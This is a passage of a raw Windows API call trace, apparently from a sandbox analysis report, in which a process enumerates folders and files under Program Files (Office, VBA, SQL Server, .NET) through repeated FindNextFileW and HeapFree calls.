dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.739] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0176.739] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.739] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0176.740] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.740] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0176.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.741] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0176.742] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.742] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0176.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.743] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0176.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.743] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0176.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.744] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0176.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.744] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0 [0176.744] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0176.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0176.744] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0177.023] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.023] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0177.025] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.025] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0177.025] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.026] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0177.027] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.027] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0177.027] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.027] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0177.027] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.027] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0177.028] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.028] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1 [0177.031] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.031] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0177.031] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0177.031] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.031] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0177.031] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0177.031] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.031] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0177.032] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.032] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0177.032] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0177.032] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.032] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0177.032] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0177.032] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.032] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0177.032] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0177.032] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.032] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1 [0177.033] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.033] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0177.033] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0177.033] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.033] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0 [0177.033] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0177.034] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0177.036] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1 [0177.040] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.040] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0177.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.041] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0177.041] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0177.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.041] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0177.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.041] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0177.041] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0177.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.044] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0177.044] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0177.044] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.044] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1 [0177.044] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.044] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1 [0177.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.045] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0 [0177.045] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0177.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.045] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0177.045] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0177.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.046] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0177.046] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.046] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, 